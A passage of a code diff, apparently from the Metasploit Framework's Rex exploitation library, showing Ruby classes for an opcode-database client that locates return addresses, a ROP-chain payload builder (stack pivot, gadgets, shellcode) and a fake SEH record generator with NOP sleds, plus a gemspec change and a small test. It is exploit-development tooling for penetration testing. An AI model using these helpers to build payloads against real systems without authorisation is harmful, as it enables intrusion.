def hash_key(hash) # :nodoc:
|
||||
hash['id'] || nil
|
||||
end
|
||||
|
||||
def flush_cache # :nodoc:
|
||||
@Cache.clear
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides a general interface to items that come from that opcode
|
||||
# database that have a symbolic entry identifier and name.
|
||||
#
|
||||
###
|
||||
module DbEntry
|
||||
include OpcodeResult
|
||||
|
||||
def initialize(hash)
|
||||
super
|
||||
|
||||
@id = hash['id'].to_i
|
||||
@name = hash['name']
|
||||
end
|
||||
|
||||
#
|
||||
# Fields that could possibly be filtered on for this database entry.
|
||||
#
|
||||
def filter_hash
|
||||
{
|
||||
"id" => id,
|
||||
"name" => name
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# The unique server identifier.
|
||||
#
|
||||
attr_reader :id
|
||||
#
|
||||
# The unique name for this entry.
|
||||
#
|
||||
attr_reader :name
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This class represents a particular image module including its name,
|
||||
# segments, imports, exports, base address, and so on.
|
||||
#
|
||||
###
|
||||
class ImageModule
|
||||
include DbEntry
|
||||
|
||||
###
|
||||
#
|
||||
# This class contains information about a module-associated segment.
|
||||
#
|
||||
###
|
||||
class Segment
|
||||
def initialize(hash)
|
||||
@type = hash['type']
|
||||
@base_address = hash['base_address'].to_i
|
||||
@size = hash['segment_size'].to_i
|
||||
@writable = hash['writable'] == "true" ? true : false
|
||||
@readable = hash['readable'] == "true" ? true : false
|
||||
@executable = hash['executable'] == "true" ? true : false
|
||||
end
|
||||
|
||||
#
|
||||
# The type of the segment, such as ".text".
|
||||
#
|
||||
attr_reader :type
|
||||
#
|
||||
# The base address of the segment.
|
||||
#
|
||||
attr_reader :base_address
|
||||
#
|
||||
# The size of the segment in bytes.
|
||||
#
|
||||
attr_reader :size
|
||||
#
|
||||
# Boolean that indicates whether or not the segment is writable.
|
||||
#
|
||||
attr_reader :writable
|
||||
#
|
||||
# Boolean that indicates whether or not the segment is readable.
|
||||
#
|
||||
attr_reader :readable
|
||||
#
|
||||
# Boolean that indicates whether or not the segment is executable.
|
||||
#
|
||||
attr_reader :executable
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This class contains information about a module-associated import.
|
||||
#
|
||||
###
|
||||
class Import
|
||||
def initialize(hash)
|
||||
@name = hash['name']
|
||||
@address = hash['address'].to_i
|
||||
@ordinal = hash['ordinal'].to_i
|
||||
end
|
||||
|
||||
#
|
||||
# The name of the imported function.
|
||||
#
|
||||
attr_reader :name
|
||||
#
|
||||
# The address of the function pointer in the IAT.
|
||||
#
|
||||
attr_reader :address
|
||||
#
|
||||
# The ordinal of the imported symbol.
|
||||
#
|
||||
attr_reader :ordinal
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This class contains information about a module-associated export.
|
||||
#
|
||||
###
|
||||
class Export
|
||||
def initialize(hash)
|
||||
@name = hash['name']
|
||||
@address = hash['address'].to_i
|
||||
@ordinal = hash['ordinal'].to_i
|
||||
end
|
||||
|
||||
#
|
||||
# The name of the exported function.
|
||||
#
|
||||
attr_reader :name
|
||||
#
|
||||
# The address of the exported function.
|
||||
#
|
||||
attr_reader :address
|
||||
#
|
||||
# The ordinal of the exported symbol.
|
||||
#
|
||||
attr_reader :ordinal
|
||||
end
|
||||
|
||||
class <<self
|
||||
include Cachable
|
||||
def hash_key(hash) # :nodoc:
|
||||
(hash['id'] || '') +
|
||||
(hash['segments'] || '').to_s +
|
||||
(hash['exports'] || '').to_s +
|
||||
(hash['imports'] || '').to_s
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(hash)
|
||||
super
|
||||
|
||||
@locale = Locale.create(hash['locale'])
|
||||
@maj_maj_ver = hash['maj_maj_ver'].to_i
|
||||
@maj_min_ver = hash['maj_min_ver'].to_i
|
||||
@min_maj_ver = hash['min_maj_ver'].to_i
|
||||
@min_min_ver = hash['min_min_ver'].to_i
|
||||
@timestamp = Time.at(hash['timestamp'].to_i)
|
||||
@vendor = hash['vendor']
|
||||
@base_address = hash['base_address'].to_i
|
||||
@image_size = hash['image_size'].to_i
|
||||
|
||||
@segments = hash['segments'].map { |ent|
|
||||
Segment.new(ent)
|
||||
} if (hash['segments'])
|
||||
@imports = hash['imports'].map { |ent|
|
||||
Import.new(ent)
|
||||
} if (hash['imports'])
|
||||
@exports = hash['exports'].map { |ent|
|
||||
Export.new(ent)
|
||||
} if (hash['exports'])
|
||||
@platforms = hash['platforms'].map { |ent|
|
||||
OsVersion.create(ent)
|
||||
} if (hash['platforms'])
|
||||
|
||||
@segments = [] unless(@segments)
|
||||
@imports = [] unless(@imports)
|
||||
@exports = [] unless(@exports)
|
||||
@platforms = [] unless(@platforms)
|
||||
end
|
||||
|
||||
#
|
||||
# An instance of a Locale class that is associated with this module.
|
||||
#
|
||||
attr_reader :locale
|
||||
#
|
||||
# The module's major major version number (X.x.x.x).
|
||||
#
|
||||
attr_reader :maj_maj_ver
|
||||
#
|
||||
# The module's major minor version number (x.X.x.x).
|
||||
#
|
||||
attr_reader :maj_min_ver
|
||||
#
|
||||
# The module's minor major version number (x.x.X.x).
|
||||
#
|
||||
attr_reader :min_maj_ver
|
||||
#
|
||||
# The module's minor minor version number (x.x.x.X).
|
||||
#
|
||||
attr_reader :min_min_ver
|
||||
#
|
||||
# The timestamp that the image was compiled (as a Time instance).
|
||||
#
|
||||
attr_reader :timestamp
|
||||
#
|
||||
# The vendor that created the module.
|
||||
#
|
||||
attr_reader :vendor
|
||||
#
|
||||
# The preferred base address at which the module will load.
|
||||
#
|
||||
attr_reader :base_address
|
||||
#
|
||||
# The size of the image mapping associated with the module in bytes.
|
||||
#
|
||||
attr_reader :image_size
|
||||
#
|
||||
# An array of Segment instances.
|
||||
#
|
||||
attr_reader :segments
|
||||
#
|
||||
# An array of Import instances.
|
||||
#
|
||||
attr_reader :imports
|
||||
#
|
||||
# An array of Export instances.
|
||||
#
|
||||
attr_reader :exports
|
||||
#
|
||||
# An array of OsVersion instances.
|
||||
#
|
||||
attr_reader :platforms
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This class contains information about a specific locale, such as English.
|
||||
#
|
||||
###
|
||||
class Locale
|
||||
include DbEntry
|
||||
class <<self
|
||||
include Cachable
|
||||
end
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This class contains information about a platform (operating system) version.
|
||||
#
|
||||
###
|
||||
class OsVersion
|
||||
include DbEntry
|
||||
|
||||
class <<self
|
||||
include Cachable
|
||||
def hash_key(hash)
|
||||
hash['id'] + (hash['modules'] || '')
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(hash)
|
||||
super
|
||||
|
||||
@modules = (hash['modules']) ? hash['modules'].to_i : 0
|
||||
@desc = hash['desc']
|
||||
@arch = hash['arch']
|
||||
@maj_ver = hash['maj_ver'].to_i
|
||||
@min_ver = hash['min_ver'].to_i
|
||||
@maj_patch_level = hash['maj_patch_level'].to_i
|
||||
@min_patch_level = hash['min_patch_level'].to_i
|
||||
end
|
||||
|
||||
#
|
||||
# The number of modules that exist in this operating system version.
|
||||
#
|
||||
attr_reader :modules
|
||||
#
|
||||
# The operating system version description, such as Windows XP 5.2.0.0
|
||||
# (IA32).
|
||||
#
|
||||
attr_reader :desc
|
||||
#
|
||||
# The architecture that the operating system version runs on, such as IA32.
|
||||
#
|
||||
attr_reader :arch
|
||||
#
|
||||
# The major version of the operating system version.
|
||||
#
|
||||
attr_reader :maj_ver
|
||||
#
|
||||
# The minor version of the operating system version.
|
||||
#
|
||||
attr_reader :min_ver
|
||||
#
|
||||
# The major patch level of the operating system version, such as a service
|
||||
# pack.
|
||||
#
|
||||
attr_reader :maj_patch_level
|
||||
#
|
||||
# The minor patch level of the operating system version.
|
||||
#
|
||||
attr_reader :min_patch_level
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# An opcode group (esp => eip).
|
||||
#
|
||||
###
|
||||
class Group
|
||||
include DbEntry
|
||||
class <<self
|
||||
include Cachable
|
||||
end
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# An opcode type (jmp esp).
|
||||
#
|
||||
###
|
||||
class Type
|
||||
include DbEntry
|
||||
|
||||
class <<self
|
||||
include Cachable
|
||||
end
|
||||
|
||||
def initialize(hash)
|
||||
super
|
||||
|
||||
@opcodes = (hash['opcodes']) ? hash['opcodes'].to_i : 0
|
||||
@meta_type = MetaType.create(hash['meta_type']) if (hash['meta_type'])
|
||||
@group = Group.create(hash['group']) if (hash['group'])
|
||||
@arch = hash['arch']
|
||||
end
|
||||
|
||||
#
|
||||
# The number of opcodes associated with this type, or 0 if this information
|
||||
# is not available.
|
||||
#
|
||||
attr_reader :opcodes
|
||||
#
|
||||
# An instance of the MetaType to which this opcode type belongs, or nil.
|
||||
#
|
||||
attr_reader :meta_type
|
||||
#
|
||||
# An instance of the Group to which this opcode type belongs, or nil.
|
||||
#
|
||||
attr_reader :group
|
||||
#
|
||||
# The architecture that this opcode type is associated with.
|
||||
#
|
||||
attr_reader :arch
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# An opcode meta type (jmp reg).
|
||||
#
|
||||
###
|
||||
class MetaType
|
||||
include DbEntry
|
||||
class <<self
|
||||
include Cachable
|
||||
end
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# An opcode that has a specific address and is associated with one or more
|
||||
# modules.
|
||||
#
|
||||
###
|
||||
class Opcode
|
||||
include DbEntry
|
||||
|
||||
def initialize(hash)
|
||||
super
|
||||
|
||||
@address = hash['address'].to_i
|
||||
@type = Type.create(hash['type'])
|
||||
@group = @type.group
|
||||
@modules = hash['modules'].map { |ent|
|
||||
ImageModule.create(ent)
|
||||
} if (hash['modules'])
|
||||
|
||||
@modules = [] unless(@modules)
|
||||
end
|
||||
|
||||
#
|
||||
# The address of the opcode.
|
||||
#
|
||||
attr_reader :address
|
||||
#
|
||||
# The type of the opcode indicating which instruction is found at the
|
||||
# address. This is an instance of the Type class.
|
||||
#
|
||||
attr_reader :type
|
||||
#
|
||||
# A Group instance that reflects the group to which the opcode type found
|
||||
# at the instance's address belongs.
|
||||
#
|
||||
attr_reader :group
|
||||
#
|
||||
# An array of ImageModule instances that show the modules that contain this
|
||||
# address.
|
||||
#
|
||||
attr_reader :modules
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# Current statistics of the opcode database.
|
||||
#
|
||||
###
|
||||
class Statistics
|
||||
def initialize(hash)
|
||||
@modules = hash['modules'].to_i
|
||||
@opcodes = hash['opcodes'].to_i
|
||||
@opcode_types = hash['opcode_types'].to_i
|
||||
@platforms = hash['platforms'].to_i
|
||||
@architectures = hash['architectures'].to_i
|
||||
@module_segments = hash['module_segments'].to_i
|
||||
@module_imports = hash['module_imports'].to_i
|
||||
@module_exports = hash['module_exports'].to_i
|
||||
@last_update = Time.at(hash['last_update'].to_i)
|
||||
end
|
||||
|
||||
#
|
||||
# The number of modules found within the opcode database.
|
||||
#
|
||||
attr_reader :modules
|
||||
#
|
||||
# The number of opcodes supported by the opcode database.
|
||||
#
|
||||
attr_reader :opcodes
|
||||
#
|
||||
# The number of opcode types supported by the database.
|
||||
#
|
||||
attr_reader :opcode_types
|
||||
#
|
||||
# The number of platforms supported by the database.
|
||||
#
|
||||
attr_reader :platforms
|
||||
#
|
||||
# The number of architectures supported by the database.
|
||||
#
|
||||
attr_reader :architectures
|
||||
#
|
||||
# The number of module segments supported by the database.
|
||||
#
|
||||
attr_reader :module_segments
|
||||
#
|
||||
# The number of module imports supported by the database.
|
||||
#
|
||||
attr_reader :module_imports
|
||||
#
|
||||
# The number of module exports supported by the database.
|
||||
#
|
||||
attr_reader :module_exports
|
||||
#
|
||||
# The time at which the last database update occurred.
|
||||
#
|
||||
attr_reader :last_update
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This class implements a client interface to the Metasploit Opcode Database.
|
||||
# It is intended to be used as a method of locating reliable return addresses
|
||||
# given a set of executable files and a set of usable opcodes.
|
||||
#
|
||||
###
|
||||
class Client
|
||||
|
||||
DefaultServerHost = "www.metasploit.com"
|
||||
DefaultServerPort = 80
|
||||
DefaultServerUri = "/users/opcode/msfopcode_server.cgi"
|
||||
|
||||
#
|
||||
# Returns an instance of an initialized client that will use the supplied
|
||||
# server values.
|
||||
#
|
||||
def initialize(host = DefaultServerHost, port = DefaultServerPort, uri = DefaultServerUri)
|
||||
self.server_host = host
|
||||
self.server_port = port
|
||||
self.server_uri = uri
|
||||
end
|
||||
|
||||
#
|
||||
# Disables response parsing.
|
||||
#
|
||||
def disable_parse
|
||||
@disable_parse = true
|
||||
end
|
||||
|
||||
#
|
||||
# Enables response parsing.
|
||||
#
|
||||
def enable_parse
|
||||
@disable_parse = false
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of MetaType instances.
|
||||
#
|
||||
def meta_types
|
||||
request('meta_types').map { |ent| MetaType.create(ent) }
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of Group instances.
|
||||
#
|
||||
def groups
|
||||
request('groups').map { |ent| Group.create(ent) }
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of Type instances. Opcode types are specific opcodes,
|
||||
# such as a jmp esp. Optionally, a filter hash can be passed to include
|
||||
# extra information in the results.
|
||||
#
|
||||
# Statistics (Bool)
|
||||
#
|
||||
# If this hash element is set to true, the number of opcodes currently in
|
||||
# the database of this type will be returned.
|
||||
#
|
||||
def types(filter = {})
|
||||
request('types', filter).map { |ent| Type.create(ent) }
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of OsVersion instances. OS versions are associated with
|
||||
# a particular operating system release (including service packs).
|
||||
# Optionally, a filter hash can be passed to limit the number of results
|
||||
# returned. If no filter hash is supplied, all results are returned.
|
||||
#
|
||||
# Names (Array)
|
||||
#
|
||||
# If this hash element is specified, only the operating systems that
|
||||
# contain one or more of the names specified will be returned.
|
||||
#
|
||||
# Statistics (Bool)
|
||||
#
|
||||
# If this hash element is set to true, the number of modules associated
|
||||
# with this matched operating system versions will be returned.
|
||||
#
|
||||
def platforms(filter = {})
|
||||
request('platforms', filter).map { |ent| OsVersion.create(ent) }
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of ImageModule instances. Image modules are
|
||||
# version-specific, locale-specific, and operating system version specific
|
||||
# image files. Modules have opcodes, segments, imports and exports
|
||||
# associated with them. Optionally, a filter hash can be specified to
|
||||
# limit the number of results returned from the database. If no filter
|
||||
# hash is supplied, all modules will be returned.
|
||||
#
|
||||
# LocaleNames (Array)
|
||||
#
|
||||
# This hash element limits results to one or more specific locale by name.
|
||||
#
|
||||
# PlatformNames (Array)
|
||||
#
|
||||
# This hash element limits results to one or more specific platform by
|
||||
# name.
|
||||
#
|
||||
# ModuleNames (Array)
|
||||
#
|
||||
# This hash element limits results to one or more specific module by name.
|
||||
#
|
||||
# Segments (Bool)
|
||||
#
|
||||
# If this hash element is set to true, the segments associated with each
|
||||
# resulting module will be returned by the server.
|
||||
#
|
||||
# Imports (Bool)
|
||||
#
|
||||
# If this hash element is set to true, the imports associated with each
|
||||
# resulting module will be returned by the server.
|
||||
#
|
||||
# Exports (Bool)
|
||||
#
|
||||
# If this hash element is set to true, the exports associated with each
|
||||
# resulting module will be returned by the server.
|
||||
#
|
||||
def modules(filter = {})
|
||||
request('modules', filter).map { |ent| ImageModule.create(ent) }
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of Locale instances that are supported by the server.
|
||||
#
|
||||
def locales
|
||||
request('locales').map { |ent| Locale.create(ent) }
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of Opcode instances that match the filter limitations
|
||||
# specified in the supplied filter hash. If no filter hash is specified,
|
||||
# all opcodes will be returned (but are most likely going to be limited by
|
||||
# the server). The filter hash limiters that can be specified are:
|
||||
#
|
||||
# ModuleNames (Array)
|
||||
#
|
||||
# This hash element limits results to one or more specific modules by
|
||||
# name.
|
||||
#
|
||||
# GroupNames (Array)
|
||||
#
|
||||
# This hash element limits results to one or more specific opcode group by
|
||||
# name.
|
||||
#
|
||||
# TypeNames (Array)
|
||||
#
|
||||
# This hash element limits results to one or more specific opcode type by
|
||||
# name.
|
||||
#
|
||||
# MetaTypeNames (Array)
|
||||
#
|
||||
# This hash element limits results to one or more specific opcode meta
|
||||
# type by name.
|
||||
#
|
||||
# LocaleNames (Array)
|
||||
#
|
||||
# Limits results to one or more specific locale by name.
|
||||
#
|
||||
# PlatformNames (Array)
|
||||
#
|
||||
# Limits reslts to one or more specific operating system version by name.
|
||||
#
|
||||
# Addresses (Array)
|
||||
#
|
||||
# Limits results to a specific set of addresses.
|
||||
#
|
||||
# Portable (Bool)
|
||||
#
|
||||
# If this hash element is true, opcode results will be limited to ones
|
||||
# that span more than one operating system version.
|
||||
#
|
||||
def search(filter = {})
|
||||
request('search', filter).map { |ent| Opcode.new(ent) }
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an instance of the Statistics class that holds information about
|
||||
# the server's database stats.
|
||||
#
|
||||
def statistics
|
||||
Statistics.new(request('statistics'))
|
||||
end
|
||||
|
||||
#
|
||||
# These attributes convey information about the remote server and can be
|
||||
# changed in order to point it to a locate copy as necessary.
|
||||
#
|
||||
attr_accessor :server_host, :server_port, :server_uri
|
||||
|
||||
#
|
||||
# Retrieves the last raw XML response to be processed.
|
||||
#
|
||||
attr_reader :last_xml
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Transmits a request to the Opcode database server and translates the
|
||||
# response into a native general ruby datatype.
|
||||
#
|
||||
def request(method, opts = {})
|
||||
client = Rex::Proto::Http::Client.new(server_host, server_port)
|
||||
|
||||
begin
|
||||
|
||||
# Create the CGI parameter list
|
||||
vars = { 'method' => method }
|
||||
|
||||
opts.each_pair do |k, v|
|
||||
vars[k] = xlate_param(v)
|
||||
end
|
||||
|
||||
client.set_config('uri_encode_mode' => 'none')
|
||||
|
||||
# Initialize the request with the POST body.
|
||||
request = client.request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => server_uri,
|
||||
'vars_post' => vars
|
||||
)
|
||||
|
||||
# Send the request and grab the response.
|
||||
response = client.send_recv(request, 300)
|
||||
|
||||
# Non-200 return code?
|
||||
if (response.code != 200)
|
||||
raise RuntimeError, "Invalid response received from server."
|
||||
end
|
||||
|
||||
# Convert the return value to the native type.
|
||||
parse_response(response.body)
|
||||
rescue ::SocketError
|
||||
raise RuntimeError, "Could not communicate with the opcode service: #{$!.class} #{$!}"
|
||||
ensure
|
||||
client.close
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Translates a parameter into a flat CGI parameter string.
|
||||
#
|
||||
def xlate_param(v)
|
||||
if (v.kind_of?(Array))
|
||||
v.map { |ent|
|
||||
xlate_param(ent)
|
||||
}.join(',,')
|
||||
elsif (v.kind_of?(Hash))
|
||||
v.map { |k,v|
|
||||
"#{URI.escape(k)}:#{xlate_param(v)}" if (v)
|
||||
}.join(',,')
|
||||
else
|
||||
URI.escape(v.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Translate the data type from a flat string to a ruby native type.
|
||||
#
|
||||
def parse_response(xml)
|
||||
@last_xml = xml
|
||||
|
||||
if (!@disable_parse)
|
||||
source = REXML::Source.new(xml)
|
||||
doc = REXML::Document.new
|
||||
|
||||
REXML::Parsers::TreeParser.new(source, doc).parse
|
||||
|
||||
translate_element(doc.root)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Translate elements conveyed as data types.
|
||||
#
|
||||
def translate_element(element)
|
||||
case element.name
|
||||
when "Array"
|
||||
return element.elements.map { |child| translate_element(child) }
|
||||
when "Hash"
|
||||
hsh = {}
|
||||
|
||||
element.each_element { |child|
|
||||
if (e = child.elements[1])
|
||||
v = translate_element(e)
|
||||
else
|
||||
v = child.text
|
||||
end
|
||||
|
||||
hsh[child.attributes['name']] = v
|
||||
}
|
||||
|
||||
return hsh
|
||||
else
|
||||
return element.text
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,190 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/text'
|
||||
require 'rexml/document'
|
||||
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides methods to access the ROP database, in order to generate
|
||||
# a ROP-compatible payload on the fly.
|
||||
#
|
||||
###
|
||||
class RopDb
|
||||
def initialize
|
||||
@base_path = File.join(File.dirname(__FILE__), '../../../data/ropdb/')
|
||||
end
|
||||
|
||||
public
|
||||
|
||||
|
||||
#
|
||||
# Returns true if a ROP chain is available, otherwise false
|
||||
#
|
||||
def has_rop?(rop_name)
|
||||
File.exist?(File.join(@base_path, "#{rop_name}.xml"))
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
|
||||
# some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size,
|
||||
# :unsafe_negate_size, and :safe_negate_size
|
||||
# Note if no RoP is found, it returns an empry array.
|
||||
# Arguments:
|
||||
# rop_name - name of the ROP chain.
|
||||
# opts - A hash of optional arguments:
|
||||
# 'target' - A regex string search against the compatibility list.
|
||||
# 'base' - Specify a different base for the ROP gadgets.
|
||||
#
|
||||
def select_rop(rop, opts={})
|
||||
target = opts['target'] || ''
|
||||
base = opts['base'] || nil
|
||||
|
||||
raise RuntimeError, "#{rop} ROP chain is not available" if not has_rop?(rop)
|
||||
xml = load_rop(File.join(@base_path, "#{rop}.xml"))
|
||||
|
||||
gadgets = []
|
||||
|
||||
xml.elements.each("db/rop") { |e|
|
||||
name = e.attributes['name']
|
||||
next if not has_target?(e, target)
|
||||
|
||||
if not base
|
||||
default = e.elements['gadgets'].attributes['base'].scan(/^0x([0-9a-f]+)$/i).flatten[0]
|
||||
base = default.to_i(16)
|
||||
end
|
||||
|
||||
gadgets << parse_gadgets(e, base)
|
||||
}
|
||||
return gadgets.flatten
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns a payload with the user-supplied stack-pivot, a ROP chain,
|
||||
# and then shellcode.
|
||||
# Arguments:
|
||||
# rop - Name of the ROP chain
|
||||
# payload - Payload in binary
|
||||
# opts - A hash of optional arguments:
|
||||
# 'nop' - Used to generate nops with generate_sled()
|
||||
# 'badchars' - Used in a junk gadget
|
||||
# 'pivot' - Stack pivot in binary
|
||||
# 'target' - A regex string search against the compatibility list.
|
||||
# 'base' - Specify a different base for the ROP gadgets.
|
||||
#
|
||||
def generate_rop_payload(rop, payload, opts={})
|
||||
nop = opts['nop'] || nil
|
||||
badchars = opts['badchars'] || ''
|
||||
pivot = opts['pivot'] || ''
|
||||
target = opts['target'] || ''
|
||||
base = opts['base'] || nil
|
||||
|
||||
rop = select_rop(rop, {'target'=>target, 'base'=>base})
|
||||
# Replace the reserved words with actual gadgets
|
||||
rop = rop.map {|e|
|
||||
if e == :nop
|
||||
sled = (nop) ? nop.generate_sled(4, badchars).unpack("V*")[0] : 0x90909090
|
||||
elsif e == :junk
|
||||
Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i
|
||||
elsif e == :size
|
||||
payload.length
|
||||
elsif e == :unsafe_negate_size
|
||||
get_unsafe_size(payload.length)
|
||||
elsif e == :safe_negate_size
|
||||
get_safe_size(payload.length)
|
||||
else
|
||||
e
|
||||
end
|
||||
}.pack("V*")
|
||||
|
||||
raise RuntimeError, "No ROP chain generated successfully" if rop.empty?
|
||||
|
||||
return pivot + rop + payload
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
|
||||
#
|
||||
# Returns a size that's safe from null bytes.
|
||||
# This function will keep incrementing the value of "s" until it's safe from null bytes.
|
||||
#
|
||||
def get_safe_size(s)
|
||||
safe_size = get_unsafe_size(s)
|
||||
while (safe_size.to_s(16).rjust(8, '0')).scan(/../).include?("00")
|
||||
safe_size -= 1
|
||||
end
|
||||
|
||||
safe_size
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns a size that might contain one or more null bytes
|
||||
#
|
||||
def get_unsafe_size(s)
|
||||
0xffffffff - s + 1
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Checks if a ROP chain is compatible
|
||||
#
|
||||
def has_target?(rop, target)
|
||||
rop.elements.each('compatibility/target') { |t|
|
||||
return true if t.text =~ /#{target}/i
|
||||
}
|
||||
return false
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the database in XML
|
||||
#
|
||||
def load_rop(file_path)
|
||||
f = File.open(file_path, 'rb')
|
||||
xml = REXML::Document.new(f.read(f.stat.size))
|
||||
f.close
|
||||
return xml
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns gadgets
|
||||
#
|
||||
def parse_gadgets(e, image_base)
|
||||
gadgets = []
|
||||
e.elements.each('gadgets/gadget') { |g|
|
||||
offset = g.attributes['offset']
|
||||
value = g.attributes['value']
|
||||
|
||||
if offset
|
||||
addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0]
|
||||
gadgets << (image_base + addr.to_i(16))
|
||||
elsif value
|
||||
case value
|
||||
when 'nop'
|
||||
gadgets << :nop
|
||||
when 'junk'
|
||||
gadgets << :junk
|
||||
when 'size'
|
||||
gadgets << :size
|
||||
when 'unsafe_negate_size'
|
||||
gadgets << :unsafe_negate_size
|
||||
when 'safe_negate_size'
|
||||
gadgets << :safe_negate_size
|
||||
else
|
||||
gadgets << value.to_i(16)
|
||||
end
|
||||
else
|
||||
raise RuntimeError, "Missing offset or value attribute in '#{name}'"
|
||||
end
|
||||
}
|
||||
return gadgets
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,93 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/text'
|
||||
require 'rex/arch/x86'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides methods for generating SEH registration records
|
||||
# in a dynamic and flexible fashion. The records can be generated with
|
||||
# the short jump at a random offset into the next pointer and with random
|
||||
# padding in between the handler and the attacker's payload.
|
||||
#
|
||||
###
|
||||
class Seh
|
||||
|
||||
#
|
||||
# Creates a new instance of the class and initializes it with the supplied
|
||||
# bad character list. The space argument denotes how much room is
|
||||
# available for random padding and the NOP argument can be used to generate
|
||||
# a random NOP sled that is better than 0x90.
|
||||
#
|
||||
def initialize(badchars = nil, space = nil, nop = nil)
|
||||
self.badchars = badchars || ''
|
||||
self.space = (space && space > 121) ? 121 : space
|
||||
self.nop = nop
|
||||
end
|
||||
|
||||
#
|
||||
# Generates an SEH record
|
||||
#
|
||||
def generate_seh_record(handler, dynamic=false)
|
||||
if (dynamic)
|
||||
generate_dynamic_seh_record(handler)
|
||||
else
|
||||
generate_static_seh_record(handler)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Generates a fake SEH registration record with the supplied handler
|
||||
# address for the handler, and a nop generator to use when generating
|
||||
# padding inside the next pointer. The NOP generator must implement the
|
||||
# 'generate_sled' method that takes a length and a list of bad
|
||||
# characters.
|
||||
#
|
||||
def generate_dynamic_seh_record(handler)
|
||||
|
||||
# Generate the padding up to the size specified or 121 characters
|
||||
# maximum to account for the maximum range of a short jump plus the
|
||||
# record size.
|
||||
pad = rand(space || 121)
|
||||
rsize = pad + 8
|
||||
|
||||
# Calculate the random index into the next ptr to store the short jump
|
||||
# instruction
|
||||
jmpidx = rand(3)
|
||||
|
||||
# Build the prefixed sled for the bytes that come before the short jump
|
||||
# instruction
|
||||
sled = (nop) ? nop.generate_sled(jmpidx, badchars) : ("\x90" * jmpidx)
|
||||
|
||||
# Seed the record and any space after the record with random text
|
||||
record = Rex::Text.rand_text(rsize, badchars)
|
||||
|
||||
# Build the next pointer and short jump instruction
|
||||
record[jmpidx, 2] = Rex::Arch::X86.jmp_short((rsize - jmpidx) - 2)
|
||||
record[0, jmpidx] = sled
|
||||
|
||||
# Set the handler in the registration record
|
||||
record[4, 4] = [ handler ].pack('V')
|
||||
|
||||
# Return the generated record to the caller
|
||||
record
|
||||
end
|
||||
|
||||
#
|
||||
# Generates a static SEH registration record with a specific handler and
|
||||
# next pointer.
|
||||
#
|
||||
def generate_static_seh_record(handler)
|
||||
"\xeb\x06" + Rex::Text.rand_text(2, badchars) + [ handler ].pack('V')
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :badchars, :space, :nop # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -145,8 +145,6 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'rex-rop_builder'
|
||||
# Library for polymorphic encoders; used for payload encoding
|
||||
spec.add_runtime_dependency 'rex-encoder'
|
||||
# Library for exploit development helpers
|
||||
spec.add_runtime_dependency 'rex-exploitation'
|
||||
|
||||
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
|
||||
# NoMethodError undefined method `dlopen' for Fiddle:Module
|
||||
|
|
|
@ -0,0 +1,26 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/cmdstager'
|
||||
|
||||
RSpec.describe Rex::Exploitation::CmdStagerBase do
|
||||
|
||||
let(:exe) { "MZ" }
|
||||
|
||||
subject(:cmd_stager) do
|
||||
described_class.new(exe)
|
||||
end
|
||||
|
||||
describe '#cmd_concat_operator' do
|
||||
it "returns nil" do
|
||||
expect(cmd_stager.cmd_concat_operator).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate' do
|
||||
it "returns an empty array" do
|
||||
expect(cmd_stager.generate).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,29 @@
|
|||
